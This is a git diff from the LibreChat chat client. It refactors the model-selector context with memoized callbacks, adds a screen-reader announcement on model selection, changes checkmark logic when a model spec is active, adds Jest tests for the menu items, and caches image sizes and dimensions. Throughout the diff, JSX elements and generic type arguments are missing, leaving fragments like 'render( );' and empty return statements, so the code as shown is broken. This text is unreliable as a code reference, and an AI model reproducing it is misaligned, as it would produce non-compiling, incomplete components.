@@ -57,8 +58,10 @@ export function ModelSelectorProvider({ children, startupConfig }: ModelSelector
const agentsMap = useAgentsMapContext();
const assistantsMap = useAssistantsMapContext();
const { data: endpointsConfig } = useGetEndpointsQuery();
- const { endpoint, model, spec, agent_id, assistant_id, conversation, newConversation } =
+ const { endpoint, model, spec, agent_id, assistant_id, getConversation, newConversation } =
useModelSelectorChatContext();
+ const localize = useLocalize();
+ const { announcePolite } = useLiveAnnouncer();
const modelSpecs = useMemo(() => {
const specs = startupConfig?.modelSpecs?.list ?? [];
if (!agentsMap) {
@@ -93,10 +96,25 @@ export function ModelSelectorProvider({ children, startupConfig }: ModelSelector
endpointsConfig,
});
+ const getModelDisplayName = useCallback(
+ (endpoint: Endpoint, model: string): string => {
+ if (isAgentsEndpoint(endpoint.value)) {
+ return endpoint.agentNames?.[model] ?? agentsMap?.[model]?.name ?? model;
+ }
+
+ if (isAssistantsEndpoint(endpoint.value)) {
+ return endpoint.assistantNames?.[model] ?? model;
+ }
+
+ return model;
+ },
+ [agentsMap],
+ );
+
const { onSelectEndpoint, onSelectSpec } = useSelectMention({
// presets,
modelSpecs,
- conversation,
+ getConversation,
assistantsMap,
endpointsConfig,
newConversation,
@@ -153,86 +171,115 @@ export function ModelSelectorProvider({ children, startupConfig }: ModelSelector
}, 200),
[],
);
- const setEndpointSearchValue = (endpoint: string, value: string) => {
+ const setEndpointSearchValue = useCallback((endpoint: string, value: string) => {
setEndpointSearchValues((prev) => ({
...prev,
[endpoint]: value,
}));
- };
+ }, []);
- const handleSelectSpec = (spec: t.TModelSpec) => {
- let model = spec.preset.model ?? null;
- onSelectSpec?.(spec);
- if (isAgentsEndpoint(spec.preset.endpoint)) {
- model = spec.preset.agent_id ?? '';
- } else if (isAssistantsEndpoint(spec.preset.endpoint)) {
- model = spec.preset.assistant_id ?? '';
- }
- setSelectedValues({
- endpoint: spec.preset.endpoint,
- model,
- modelSpec: spec.name,
- });
- };
+ const handleSelectSpec = useCallback(
+ (spec: t.TModelSpec) => {
+ let model = spec.preset.model ?? null;
+ onSelectSpec?.(spec);
+ if (isAgentsEndpoint(spec.preset.endpoint)) {
+ model = spec.preset.agent_id ?? '';
+ } else if (isAssistantsEndpoint(spec.preset.endpoint)) {
+ model = spec.preset.assistant_id ?? '';
+ }
+ setSelectedValues({
+ endpoint: spec.preset.endpoint,
+ model,
+ modelSpec: spec.name,
+ });
+ },
+ [onSelectSpec],
+ );
- const handleSelectEndpoint = (endpoint: Endpoint) => {
- if (!endpoint.hasModels) {
- if (endpoint.value) {
- onSelectEndpoint?.(endpoint.value);
+ const handleSelectEndpoint = useCallback(
+ (endpoint: Endpoint) => {
+ if (!endpoint.hasModels) {
+ if (endpoint.value) {
+ onSelectEndpoint?.(endpoint.value);
+ }
+ setSelectedValues({
+ endpoint: endpoint.value,
+ model: '',
+ modelSpec: '',
+ });
+ }
+ },
+ [onSelectEndpoint],
+ );
+
+ const handleSelectModel = useCallback(
+ (endpoint: Endpoint, model: string) => {
+ if (isAgentsEndpoint(endpoint.value)) {
+ onSelectEndpoint?.(endpoint.value, {
+ agent_id: model,
+ model: agentsMap?.[model]?.model ?? '',
+ });
+ } else if (isAssistantsEndpoint(endpoint.value)) {
+ onSelectEndpoint?.(endpoint.value, {
+ assistant_id: model,
+ model: assistantsMap?.[endpoint.value]?.[model]?.model ?? '',
+ });
+ } else if (endpoint.value) {
+ onSelectEndpoint?.(endpoint.value, { model });
}
setSelectedValues({
endpoint: endpoint.value,
- model: '',
+ model,
modelSpec: '',
});
- }
- };
- const handleSelectModel = (endpoint: Endpoint, model: string) => {
- if (isAgentsEndpoint(endpoint.value)) {
- onSelectEndpoint?.(endpoint.value, {
- agent_id: model,
- model: agentsMap?.[model]?.model ?? '',
- });
- } else if (isAssistantsEndpoint(endpoint.value)) {
- onSelectEndpoint?.(endpoint.value, {
- assistant_id: model,
- model: assistantsMap?.[endpoint.value]?.[model]?.model ?? '',
- });
- } else if (endpoint.value) {
- onSelectEndpoint?.(endpoint.value, { model });
- }
- setSelectedValues({
- endpoint: endpoint.value,
- model,
- modelSpec: '',
- });
- };
+ const modelDisplayName = getModelDisplayName(endpoint, model);
+ const announcement = localize('com_ui_model_selected', { 0: modelDisplayName });
+ announcePolite({ message: announcement, isStatus: true });
+ },
+ [agentsMap, announcePolite, assistantsMap, getModelDisplayName, localize, onSelectEndpoint],
+ );
- const value = {
- // State
- searchValue,
- searchResults,
- selectedValues,
- endpointSearchValues,
- // LibreChat
- agentsMap,
- modelSpecs,
- assistantsMap,
- mappedEndpoints,
- endpointsConfig,
-
- // Functions
- handleSelectSpec,
- handleSelectModel,
- setSelectedValues,
- handleSelectEndpoint,
- setEndpointSearchValue,
- endpointRequiresUserKey,
- setSearchValue: setDebouncedSearchValue,
- // Dialog
- ...keyProps,
- };
+ const value = useMemo(
+ () => ({
+ searchValue,
+ searchResults,
+ selectedValues,
+ endpointSearchValues,
+ agentsMap,
+ modelSpecs,
+ assistantsMap,
+ mappedEndpoints,
+ endpointsConfig,
+ handleSelectSpec,
+ handleSelectModel,
+ setSelectedValues,
+ handleSelectEndpoint,
+ setEndpointSearchValue,
+ endpointRequiresUserKey,
+ setSearchValue: setDebouncedSearchValue,
+ ...keyProps,
+ }),
+ [
+ searchValue,
+ searchResults,
+ selectedValues,
+ endpointSearchValues,
+ agentsMap,
+ modelSpecs,
+ assistantsMap,
+ mappedEndpoints,
+ endpointsConfig,
+ handleSelectSpec,
+ handleSelectModel,
+ setSelectedValues,
+ handleSelectEndpoint,
+ setEndpointSearchValue,
+ endpointRequiresUserKey,
+ setDebouncedSearchValue,
+ keyProps,
+ ],
+ );
return {children} ;
}
diff --git a/client/src/components/Chat/Menus/Endpoints/components/EndpointItem.tsx b/client/src/components/Chat/Menus/Endpoints/components/EndpointItem.tsx
index 27c1236cb2..c8cef36010 100644
--- a/client/src/components/Chat/Menus/Endpoints/components/EndpointItem.tsx
+++ b/client/src/components/Chat/Menus/Endpoints/components/EndpointItem.tsx
@@ -80,12 +80,70 @@ const SettingsButton = ({
);
};
+/**
+ * Lazily-rendered content for an endpoint submenu. By extracting this into a
+ * separate component, the expensive model-list rendering (and per-item hooks
+ * such as MutationObservers in EndpointModelItem) only runs when the submenu
+ * is actually mounted — which Ariakit defers via `unmountOnHide`.
+ */
+function EndpointMenuContent({
+ endpoint,
+ endpointIndex,
+}: {
+ endpoint: Endpoint;
+ endpointIndex: number;
+}) {
+ const localize = useLocalize();
+ const { agentsMap, assistantsMap, modelSpecs, selectedValues, endpointSearchValues } =
+ useModelSelectorContext();
+ const { modelSpec: selectedSpec } = selectedValues;
+ const searchValue = endpointSearchValues[endpoint.value] || '';
+
+ const endpointSpecs = useMemo(() => {
+ if (!modelSpecs || !modelSpecs.length) {
+ return [];
+ }
+ return modelSpecs.filter((spec: TModelSpec) => spec.group === endpoint.value);
+ }, [modelSpecs, endpoint.value]);
+
+ if (isAssistantsEndpoint(endpoint.value) && endpoint.models === undefined) {
+ return (
+
+
+
+ );
+ }
+
+ const filteredModels = searchValue
+ ? filterModels(
+ endpoint,
+ (endpoint.models || []).map((model) => model.name),
+ searchValue,
+ agentsMap,
+ assistantsMap,
+ )
+ : null;
+
+ return (
+ <>
+ {endpointSpecs.map((spec: TModelSpec) => (
+
+ ))}
+ {filteredModels
+ ? renderEndpointModels(endpoint, endpoint.models || [], filteredModels, endpointIndex)
+ : endpoint.models &&
+ renderEndpointModels(endpoint, endpoint.models, undefined, endpointIndex)}
+ >
+ );
+}
+
export function EndpointItem({ endpoint, endpointIndex }: EndpointItemProps) {
const localize = useLocalize();
const {
- agentsMap,
- assistantsMap,
- modelSpecs,
selectedValues,
handleOpenKeyDialog,
handleSelectEndpoint,
@@ -93,19 +151,7 @@ export function EndpointItem({ endpoint, endpointIndex }: EndpointItemProps) {
setEndpointSearchValue,
endpointRequiresUserKey,
} = useModelSelectorContext();
- const {
- model: selectedModel,
- endpoint: selectedEndpoint,
- modelSpec: selectedSpec,
- } = selectedValues;
-
- // Filter modelSpecs for this endpoint (by group matching endpoint value)
- const endpointSpecs = useMemo(() => {
- if (!modelSpecs || !modelSpecs.length) {
- return [];
- }
- return modelSpecs.filter((spec: TModelSpec) => spec.group === endpoint.value);
- }, [modelSpecs, endpoint.value]);
+ const { endpoint: selectedEndpoint, modelSpec: selectedSpec } = selectedValues;
const searchValue = endpointSearchValues[endpoint.value] || '';
const isUserProvided = useMemo(
@@ -127,18 +173,9 @@ export function EndpointItem({ endpoint, endpointIndex }: EndpointItemProps) {
);
- const isEndpointSelected = selectedEndpoint === endpoint.value;
+ const isEndpointSelected = !selectedSpec && selectedEndpoint === endpoint.value;
if (endpoint.hasModels) {
- const filteredModels = searchValue
- ? filterModels(
- endpoint,
- (endpoint.models || []).map((model) => model.name),
- searchValue,
- agentsMap,
- assistantsMap,
- )
- : null;
const placeholder =
isAgentsEndpoint(endpoint.value) || isAssistantsEndpoint(endpoint.value)
? localize('com_endpoint_search_var', { 0: endpoint.label })
@@ -147,7 +184,6 @@ export function EndpointItem({ endpoint, endpointIndex }: EndpointItemProps) {
}
>
- {isAssistantsEndpoint(endpoint.value) && endpoint.models === undefined ? (
-
-
-
- ) : (
- <>
- {/* Render modelSpecs for this endpoint */}
- {endpointSpecs.map((spec: TModelSpec) => (
-
- ))}
- {/* Render endpoint models */}
- {filteredModels
- ? renderEndpointModels(
- endpoint,
- endpoint.models || [],
- selectedModel,
- filteredModels,
- endpointIndex,
- )
- : endpoint.models &&
- renderEndpointModels(
- endpoint,
- endpoint.models,
- selectedModel,
- undefined,
- endpointIndex,
- )}
- >
- )}
+
);
} else {
diff --git a/client/src/components/Chat/Menus/Endpoints/components/EndpointModelItem.tsx b/client/src/components/Chat/Menus/Endpoints/components/EndpointModelItem.tsx
index 752788d63a..7cec4744d5 100644
--- a/client/src/components/Chat/Menus/Endpoints/components/EndpointModelItem.tsx
+++ b/client/src/components/Chat/Menus/Endpoints/components/EndpointModelItem.tsx
@@ -11,12 +11,18 @@ import { cn } from '~/utils';
interface EndpointModelItemProps {
modelId: string | null;
endpoint: Endpoint;
- isSelected: boolean;
}
-export function EndpointModelItem({ modelId, endpoint, isSelected }: EndpointModelItemProps) {
+export function EndpointModelItem({ modelId, endpoint }: EndpointModelItemProps) {
const localize = useLocalize();
- const { handleSelectModel } = useModelSelectorContext();
+ const { handleSelectModel, selectedValues } = useModelSelectorContext();
+ const {
+ endpoint: selectedEndpoint,
+ model: selectedModel,
+ modelSpec: selectedSpec,
+ } = selectedValues;
+ const isSelected =
+ !selectedSpec && selectedEndpoint === endpoint.value && selectedModel === modelId;
const { isFavoriteModel, toggleFavoriteModel, isFavoriteAgent, toggleFavoriteAgent } =
useFavorites();
@@ -147,7 +153,6 @@ export function EndpointModelItem({ modelId, endpoint, isSelected }: EndpointMod
export function renderEndpointModels(
endpoint: Endpoint | null,
models: Array<{ name: string; isGlobal?: boolean }>,
- selectedModel: string | null,
filteredModels?: string[],
endpointIndex?: number,
) {
@@ -161,7 +166,6 @@ export function renderEndpointModels(
key={`${endpoint.value}${indexSuffix}-${modelId}-${modelIndex}`}
modelId={modelId}
endpoint={endpoint}
- isSelected={selectedModel === modelId}
/>
),
);
diff --git a/client/src/components/Chat/Menus/Endpoints/components/SearchResults.tsx b/client/src/components/Chat/Menus/Endpoints/components/SearchResults.tsx
index 34985639c5..26831a577e 100644
--- a/client/src/components/Chat/Menus/Endpoints/components/SearchResults.tsx
+++ b/client/src/components/Chat/Menus/Endpoints/components/SearchResults.tsx
@@ -160,7 +160,9 @@ export function SearchResults({ results, localize, searchValue }: SearchResultsP
}
const isModelSelected =
- selectedEndpoint === endpoint.value && selectedModel === modelId;
+ !selectedSpec &&
+ selectedEndpoint === endpoint.value &&
+ selectedModel === modelId;
return (
({
+ useModelSelectorContext: () => ({
+ handleSelectModel: mockHandleSelectModel,
+ selectedValues: mockSelectedValues,
+ }),
+}));
+
+jest.mock('~/components/Chat/Menus/Endpoints/CustomMenu', () => {
+ const React = jest.requireActual('react');
+ return {
+ CustomMenuItem: React.forwardRef(function MockMenuItem(
+ { children, ...rest }: { children?: React.ReactNode },
+ ref: React.Ref,
+ ) {
+ return React.createElement('div', { ref, role: 'menuitem', ...rest }, children);
+ }),
+ };
+});
+
+jest.mock('~/hooks', () => ({
+ useLocalize: () => (key: string) => key,
+ useFavorites: () => ({
+ isFavoriteModel: () => false,
+ toggleFavoriteModel: jest.fn(),
+ isFavoriteAgent: () => false,
+ toggleFavoriteAgent: jest.fn(),
+ }),
+}));
+
+const baseEndpoint: Endpoint = {
+ value: 'anthropic',
+ label: 'Anthropic',
+ hasModels: true,
+ models: [{ name: 'claude-opus-4-6' }],
+ icon: null,
+};
+
+describe('EndpointModelItem', () => {
+ beforeEach(() => {
+ jest.clearAllMocks();
+ });
+
+ it('renders checkmark when model and endpoint match with no active spec', () => {
+ mockSelectedValues = { endpoint: 'anthropic', model: 'claude-opus-4-6', modelSpec: '' };
+ render( );
+
+ const menuItem = screen.getByRole('menuitem');
+ expect(menuItem).toHaveAttribute('aria-selected', 'true');
+ });
+
+ it('does NOT render checkmark when a model spec is active even if endpoint and model match', () => {
+ mockSelectedValues = {
+ endpoint: 'anthropic',
+ model: 'claude-opus-4-6',
+ modelSpec: 'my-anthropic-spec',
+ };
+ render( );
+
+ const menuItem = screen.getByRole('menuitem');
+ expect(menuItem).not.toHaveAttribute('aria-selected');
+ });
+
+ it('does NOT render checkmark when model matches but endpoint differs', () => {
+ mockSelectedValues = { endpoint: 'openai', model: 'claude-opus-4-6', modelSpec: '' };
+ render( );
+
+ const menuItem = screen.getByRole('menuitem');
+ expect(menuItem).not.toHaveAttribute('aria-selected');
+ });
+
+ it('does NOT render checkmark when endpoint matches but model differs', () => {
+ mockSelectedValues = { endpoint: 'anthropic', model: 'claude-sonnet-4-5', modelSpec: '' };
+ render( );
+
+ const menuItem = screen.getByRole('menuitem');
+ expect(menuItem).not.toHaveAttribute('aria-selected');
+ });
+});
diff --git a/client/src/components/Chat/Menus/Endpoints/components/__tests__/SearchResults.test.tsx b/client/src/components/Chat/Menus/Endpoints/components/__tests__/SearchResults.test.tsx
new file mode 100644
index 0000000000..8ab9235f6f
--- /dev/null
+++ b/client/src/components/Chat/Menus/Endpoints/components/__tests__/SearchResults.test.tsx
@@ -0,0 +1,109 @@
+import { render, screen } from '@testing-library/react';
+import type { Endpoint, SelectedValues } from '~/common';
+import { SearchResults } from '../SearchResults';
+
+const mockHandleSelectSpec = jest.fn();
+const mockHandleSelectModel = jest.fn();
+const mockHandleSelectEndpoint = jest.fn();
+let mockSelectedValues: SelectedValues;
+
+jest.mock('~/components/Chat/Menus/Endpoints/ModelSelectorContext', () => ({
+ useModelSelectorContext: () => ({
+ selectedValues: mockSelectedValues,
+ handleSelectSpec: mockHandleSelectSpec,
+ handleSelectModel: mockHandleSelectModel,
+ handleSelectEndpoint: mockHandleSelectEndpoint,
+ endpointsConfig: {},
+ }),
+}));
+
+jest.mock('~/components/Chat/Menus/Endpoints/CustomMenu', () => {
+ const React = jest.requireActual('react');
+ return {
+ CustomMenuItem: React.forwardRef(function MockMenuItem(
+ { children, ...rest }: { children?: React.ReactNode },
+ ref: React.Ref,
+ ) {
+ return React.createElement('div', { ref, role: 'menuitem', ...rest }, children);
+ }),
+ };
+});
+
+jest.mock('../SpecIcon', () => {
+ const React = jest.requireActual('react');
+ return {
+ __esModule: true,
+ default: () => React.createElement('span', null, 'icon'),
+ };
+});
+
+const localize = (key: string) => key;
+
+const anthropicEndpoint: Endpoint = {
+ value: 'anthropic',
+ label: 'Anthropic',
+ hasModels: true,
+ models: [{ name: 'claude-opus-4-6' }, { name: 'claude-sonnet-4-5' }],
+ icon: null,
+};
+
+const noModelsEndpoint: Endpoint = {
+ value: 'custom',
+ label: 'Custom',
+ hasModels: false,
+ icon: null,
+};
+
+describe('SearchResults', () => {
+ beforeEach(() => {
+ jest.clearAllMocks();
+ });
+
+ it('marks model as selected when endpoint and model match with no active spec', () => {
+ mockSelectedValues = { endpoint: 'anthropic', model: 'claude-opus-4-6', modelSpec: '' };
+ render(
+ ,
+ );
+
+ const items = screen.getAllByRole('menuitem');
+ const selectedItem = items.find((el) => el.getAttribute('aria-selected') === 'true');
+ expect(selectedItem).toBeDefined();
+ expect(selectedItem).toHaveTextContent('claude-opus-4-6');
+ });
+
+ it('does not mark model as selected when a spec is active', () => {
+ mockSelectedValues = {
+ endpoint: 'anthropic',
+ model: 'claude-opus-4-6',
+ modelSpec: 'my-spec',
+ };
+ render(
+ ,
+ );
+
+ const items = screen.getAllByRole('menuitem');
+ for (const item of items) {
+ expect(item).not.toHaveAttribute('aria-selected');
+ }
+ });
+
+ it('does not mark endpoint as selected when a spec is active', () => {
+ mockSelectedValues = {
+ endpoint: 'custom',
+ model: '',
+ modelSpec: 'my-spec',
+ };
+ render( );
+
+ const item = screen.getByRole('menuitem');
+ expect(item).not.toHaveAttribute('aria-selected');
+ });
+
+ it('marks endpoint as selected when no spec is active and endpoint matches', () => {
+ mockSelectedValues = { endpoint: 'custom', model: '', modelSpec: '' };
+ render( );
+
+ const item = screen.getByRole('menuitem');
+ expect(item).toHaveAttribute('aria-selected', 'true');
+ });
+});
diff --git a/client/src/components/Chat/Menus/HeaderNewChat.tsx b/client/src/components/Chat/Menus/HeaderNewChat.tsx
index 764397eddb..a50d42af85 100644
--- a/client/src/components/Chat/Menus/HeaderNewChat.tsx
+++ b/client/src/components/Chat/Menus/HeaderNewChat.tsx
@@ -1,14 +1,16 @@
import { QueryKeys } from 'librechat-data-provider';
+import { useRecoilValue } from 'recoil';
import { useQueryClient } from '@tanstack/react-query';
import { TooltipAnchor, Button, NewChatIcon } from '@librechat/client';
-import { useChatContext } from '~/Providers';
+import { useNewConvo, useLocalize } from '~/hooks';
import { clearMessagesCache } from '~/utils';
-import { useLocalize } from '~/hooks';
+import store from '~/store';
export default function HeaderNewChat() {
const localize = useLocalize();
const queryClient = useQueryClient();
- const { conversation, newConversation } = useChatContext();
+ const { newConversation } = useNewConvo();
+ const conversation = useRecoilValue(store.conversationByIndex(0));
const clickHandler: React.MouseEventHandler = (e) => {
if (e.button === 0 && (e.ctrlKey || e.metaKey)) {
diff --git a/client/src/components/Chat/Menus/PresetsMenu.tsx b/client/src/components/Chat/Menus/PresetsMenu.tsx
index 7ba0ae5c88..0edd1635bc 100644
--- a/client/src/components/Chat/Menus/PresetsMenu.tsx
+++ b/client/src/components/Chat/Menus/PresetsMenu.tsx
@@ -1,4 +1,5 @@
import { useRef } from 'react';
+import { useRecoilValue } from 'recoil';
import { Trans } from 'react-i18next';
import { BookCopy } from 'lucide-react';
import { Content, Portal, Root, Trigger } from '@radix-ui/react-popover';
@@ -13,7 +14,7 @@ import {
import type { FC } from 'react';
import { EditPresetDialog, PresetItems } from './Presets';
import { useLocalize, usePresets } from '~/hooks';
-import { useChatContext } from '~/Providers';
+import store from '~/store';
const PresetsMenu: FC = () => {
const localize = useLocalize();
@@ -33,7 +34,7 @@ const PresetsMenu: FC = () => {
presetToDelete,
confirmDeletePreset,
} = usePresets();
- const { preset } = useChatContext();
+ const preset = useRecoilValue(store.presetByIndex(0));
const handleDeleteDialogChange = (open: boolean) => {
setShowDeleteDialog(open);
diff --git a/client/src/components/Chat/Messages/Content/ContentParts.tsx b/client/src/components/Chat/Messages/Content/ContentParts.tsx
index 42ce8b8f14..4b431d7a98 100644
--- a/client/src/components/Chat/Messages/Content/ContentParts.tsx
+++ b/client/src/components/Chat/Messages/Content/ContentParts.tsx
@@ -15,6 +15,61 @@ import Sources from '~/components/Web/Sources';
import Container from './Container';
import Part from './Part';
+type PartWithContextProps = {
+ part: TMessageContentParts;
+ idx: number;
+ isLastPart: boolean;
+ messageId: string;
+ conversationId?: string | null;
+ nextType?: string;
+ isSubmitting: boolean;
+ isLatestMessage?: boolean;
+ isCreatedByUser: boolean;
+ isLast: boolean;
+ partAttachments: TAttachment[] | undefined;
+};
+
+const PartWithContext = memo(function PartWithContext({
+ part,
+ idx,
+ isLastPart,
+ messageId,
+ conversationId,
+ nextType,
+ isSubmitting,
+ isLatestMessage,
+ isCreatedByUser,
+ isLast,
+ partAttachments,
+}: PartWithContextProps) {
+ const contextValue = useMemo(
+ () => ({
+ messageId,
+ isExpanded: true as const,
+ conversationId,
+ partIndex: idx,
+ nextType,
+ isSubmitting,
+ isLatestMessage,
+ }),
+ [messageId, conversationId, idx, nextType, isSubmitting, isLatestMessage],
+ );
+
+ return (
+
+
+
+ );
+});
+
type ContentPartsProps = {
content: Array | undefined;
messageId: string;
@@ -58,37 +113,24 @@ const ContentParts = memo(function ContentParts({
const attachmentMap = useMemo(() => mapAttachments(attachments ?? []), [attachments]);
const effectiveIsSubmitting = isLatestMessage ? isSubmitting : false;
- /**
- * Render a single content part with proper context.
- */
const renderPart = useCallback(
(part: TMessageContentParts, idx: number, isLastPart: boolean) => {
const toolCallId = (part?.[ContentTypes.TOOL_CALL] as Agents.ToolCall | undefined)?.id ?? '';
- const partAttachments = attachmentMap[toolCallId];
-
return (
-
-
-
+ idx={idx}
+ part={part}
+ isLast={isLast}
+ messageId={messageId}
+ isLastPart={isLastPart}
+ conversationId={conversationId}
+ isLatestMessage={isLatestMessage}
+ isCreatedByUser={isCreatedByUser}
+ nextType={content?.[idx + 1]?.type}
+ isSubmitting={effectiveIsSubmitting}
+ partAttachments={attachmentMap[toolCallId]}
+ />
);
},
[
diff --git a/client/src/components/Chat/Messages/Content/DialogImage.tsx b/client/src/components/Chat/Messages/Content/DialogImage.tsx
index cb496de646..b9cbe64555 100644
--- a/client/src/components/Chat/Messages/Content/DialogImage.tsx
+++ b/client/src/components/Chat/Messages/Content/DialogImage.tsx
@@ -4,6 +4,8 @@ import { Button, TooltipAnchor } from '@librechat/client';
import { X, ArrowDownToLine, PanelLeftOpen, PanelLeftClose, RotateCcw } from 'lucide-react';
import { useLocalize } from '~/hooks';
+const imageSizeCache = new Map();
+
const getQualityStyles = (quality: string): string => {
if (quality === 'high') {
return 'bg-green-100 text-green-800';
@@ -50,18 +52,26 @@ export default function DialogImage({
const closeButtonRef = useRef(null);
const getImageSize = useCallback(async (url: string) => {
+ const cached = imageSizeCache.get(url);
+ if (cached) {
+ return cached;
+ }
try {
const response = await fetch(url, { method: 'HEAD' });
const contentLength = response.headers.get('Content-Length');
if (contentLength) {
const bytes = parseInt(contentLength, 10);
- return formatFileSize(bytes);
+ const result = formatFileSize(bytes);
+ imageSizeCache.set(url, result);
+ return result;
}
const fullResponse = await fetch(url);
const blob = await fullResponse.blob();
- return formatFileSize(blob.size);
+ const result = formatFileSize(blob.size);
+ imageSizeCache.set(url, result);
+ return result;
} catch (error) {
console.error('Error getting image size:', error);
return null;
@@ -355,6 +365,7 @@ export default function DialogImage({
ref={imageRef}
src={src}
alt="Image"
+ decoding="async"
className="block max-h-[85vh] object-contain"
style={{
maxWidth: getImageMaxWidth(),
diff --git a/client/src/components/Chat/Messages/Content/Files.tsx b/client/src/components/Chat/Messages/Content/Files.tsx
index 8997d5e822..504e48e883 100644
--- a/client/src/components/Chat/Messages/Content/Files.tsx
+++ b/client/src/components/Chat/Messages/Content/Files.tsx
@@ -1,6 +1,7 @@
import { useMemo, memo } from 'react';
import type { TFile, TMessage } from 'librechat-data-provider';
import FileContainer from '~/components/Chat/Input/Files/FileContainer';
+import { getCachedPreview } from '~/utils';
import Image from './Image';
const Files = ({ message }: { message?: TMessage }) => {
@@ -17,21 +18,18 @@ const Files = ({ message }: { message?: TMessage }) => {
{otherFiles.length > 0 &&
otherFiles.map((file) => )}
{imageFiles.length > 0 &&
- imageFiles.map((file) => (
-
- ))}
+ imageFiles.map((file) => {
+ const cached = file.file_id ? getCachedPreview(file.file_id) : undefined;
+ return (
+
+ );
+ })}
>
);
};
diff --git a/client/src/components/Chat/Messages/Content/Image.tsx b/client/src/components/Chat/Messages/Content/Image.tsx
index cd72733298..7e3e12e65b 100644
--- a/client/src/components/Chat/Messages/Content/Image.tsx
+++ b/client/src/components/Chat/Messages/Content/Image.tsx
@@ -1,27 +1,39 @@
-import React, { useState, useRef, useMemo } from 'react';
+import React, { useState, useRef, useMemo, useEffect } from 'react';
import { Skeleton } from '@librechat/client';
-import { LazyLoadImage } from 'react-lazy-load-image-component';
import { apiBaseUrl } from 'librechat-data-provider';
-import { cn, scaleImage } from '~/utils';
import DialogImage from './DialogImage';
+import { cn } from '~/utils';
+
+/** Max display height for chat images (Tailwind JIT class) */
+export const IMAGE_MAX_H = 'max-h-[45vh]' as const;
+/** Matches the `max-w-lg` Tailwind class on the wrapper button (32rem = 512px at 16px base) */
+const IMAGE_MAX_W_PX = 512;
+
+/** Caches image dimensions by src so remounts can reserve space */
+const dimensionCache = new Map();
+/** Tracks URLs that have been fully painted — skip skeleton on remount */
+const paintedUrls = new Set();
+
+/** Test-only: resets module-level caches */
+export function _resetImageCaches(): void {
+ dimensionCache.clear();
+ paintedUrls.clear();
+}
+
+function computeHeightStyle(w: number, h: number): React.CSSProperties {
+ return { height: `min(45vh, ${(h / w) * 100}vw, ${(h / w) * IMAGE_MAX_W_PX}px)` };
+}
const Image = ({
imagePath,
altText,
- height,
- width,
- placeholderDimensions,
className,
args,
+ width,
+ height,
}: {
imagePath: string;
altText: string;
- height: number;
- width: number;
- placeholderDimensions?: {
- height?: string;
- width?: string;
- };
className?: string;
args?: {
prompt?: string;
@@ -30,19 +42,15 @@ const Image = ({
style?: string;
[key: string]: unknown;
};
+ width?: number;
+ height?: number;
}) => {
const [isOpen, setIsOpen] = useState(false);
- const [isLoaded, setIsLoaded] = useState(false);
- const containerRef = useRef(null);
const triggerRef = useRef(null);
- const handleImageLoad = () => setIsLoaded(true);
-
- // Fix image path to include base path for subdirectory deployments
const absoluteImageUrl = useMemo(() => {
if (!imagePath) return imagePath;
- // If it's already an absolute URL or doesn't start with /images/, return as is
if (
imagePath.startsWith('http') ||
imagePath.startsWith('data:') ||
@@ -51,21 +59,10 @@ const Image = ({
return imagePath;
}
- // Get the base URL and prepend it to the image path
const baseURL = apiBaseUrl();
return `${baseURL}${imagePath}`;
}, [imagePath]);
- const { width: scaledWidth, height: scaledHeight } = useMemo(
- () =>
- scaleImage({
- originalWidth: Number(placeholderDimensions?.width?.split('px')[0] ?? width),
- originalHeight: Number(placeholderDimensions?.height?.split('px')[0] ?? height),
- containerRef,
- }),
- [placeholderDimensions, height, width],
- );
-
const downloadImage = async () => {
try {
const response = await fetch(absoluteImageUrl);
@@ -95,8 +92,19 @@ const Image = ({
}
};
+ useEffect(() => {
+ if (width && height && absoluteImageUrl) {
+ dimensionCache.set(absoluteImageUrl, { width, height });
+ }
+ }, [absoluteImageUrl, width, height]);
+
+ const dims = width && height ? { width, height } : dimensionCache.get(absoluteImageUrl);
+ const hasDimensions = !!(dims?.width && dims?.height);
+ const heightStyle = hasDimensions ? computeHeightStyle(dims.width, dims.height) : undefined;
+ const showSkeleton = hasDimensions && !paintedUrls.has(absoluteImageUrl);
+
return (
-
+
setIsOpen(true)}
className={cn(
- 'relative mt-1 flex h-auto w-full max-w-lg cursor-pointer items-center justify-center overflow-hidden rounded-lg border border-border-light text-text-secondary-alt shadow-md transition-shadow',
+ 'relative mt-1 w-full max-w-lg cursor-pointer overflow-hidden rounded-lg border border-border-light text-text-secondary-alt shadow-md transition-shadow',
'focus:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2 focus-visible:ring-offset-surface-primary',
className,
)}
+ style={heightStyle}
>
- }
+
- }
+ onLoad={() => paintedUrls.add(absoluteImageUrl)}
+ className={cn(
+ 'relative block text-transparent',
+ hasDimensions
+ ? 'size-full object-contain'
+ : cn('h-auto w-auto max-w-full', IMAGE_MAX_H),
+ )}
/>
- {isLoaded && (
-
- )}
+
);
};
diff --git a/client/src/components/Chat/Messages/Content/Markdown.tsx b/client/src/components/Chat/Messages/Content/Markdown.tsx
index a763885d2f..1217869a2c 100644
--- a/client/src/components/Chat/Messages/Content/Markdown.tsx
+++ b/client/src/components/Chat/Messages/Content/Markdown.tsx
@@ -27,7 +27,7 @@ type TContentProps = {
isLatestMessage: boolean;
};
-const Markdown = memo(({ content = '', isLatestMessage }: TContentProps) => {
+const Markdown = memo(function Markdown({ content = '', isLatestMessage }: TContentProps) {
const LaTeXParsing = useRecoilValue
(store.LaTeXParsing);
const isInitializing = content === '';
@@ -106,5 +106,6 @@ const Markdown = memo(({ content = '', isLatestMessage }: TContentProps) => {
);
});
+Markdown.displayName = 'Markdown';
export default Markdown;
diff --git a/client/src/components/Chat/Messages/Content/MarkdownComponents.tsx b/client/src/components/Chat/Messages/Content/MarkdownComponents.tsx
index 7db3fa668a..1c5369955d 100644
--- a/client/src/components/Chat/Messages/Content/MarkdownComponents.tsx
+++ b/client/src/components/Chat/Messages/Content/MarkdownComponents.tsx
@@ -18,7 +18,10 @@ type TCodeProps = {
children: React.ReactNode;
};
-export const code: React.ElementType = memo(({ className, children }: TCodeProps) => {
+export const code: React.ElementType = memo(function MarkdownCode({
+ className,
+ children,
+}: TCodeProps) {
const canRunCode = useHasAccess({
permissionType: PermissionTypes.RUN_CODE,
permission: Permissions.USE,
@@ -62,8 +65,12 @@ export const code: React.ElementType = memo(({ className, children }: TCodeProps
);
}
});
+code.displayName = 'MarkdownCode';
-export const codeNoExecution: React.ElementType = memo(({ className, children }: TCodeProps) => {
+export const codeNoExecution: React.ElementType = memo(function MarkdownCodeNoExecution({
+ className,
+ children,
+}: TCodeProps) {
const match = /language-(\w+)/.exec(className ?? '');
const lang = match && match[1];
@@ -82,13 +89,14 @@ export const codeNoExecution: React.ElementType = memo(({ className, children }:
return ;
}
});
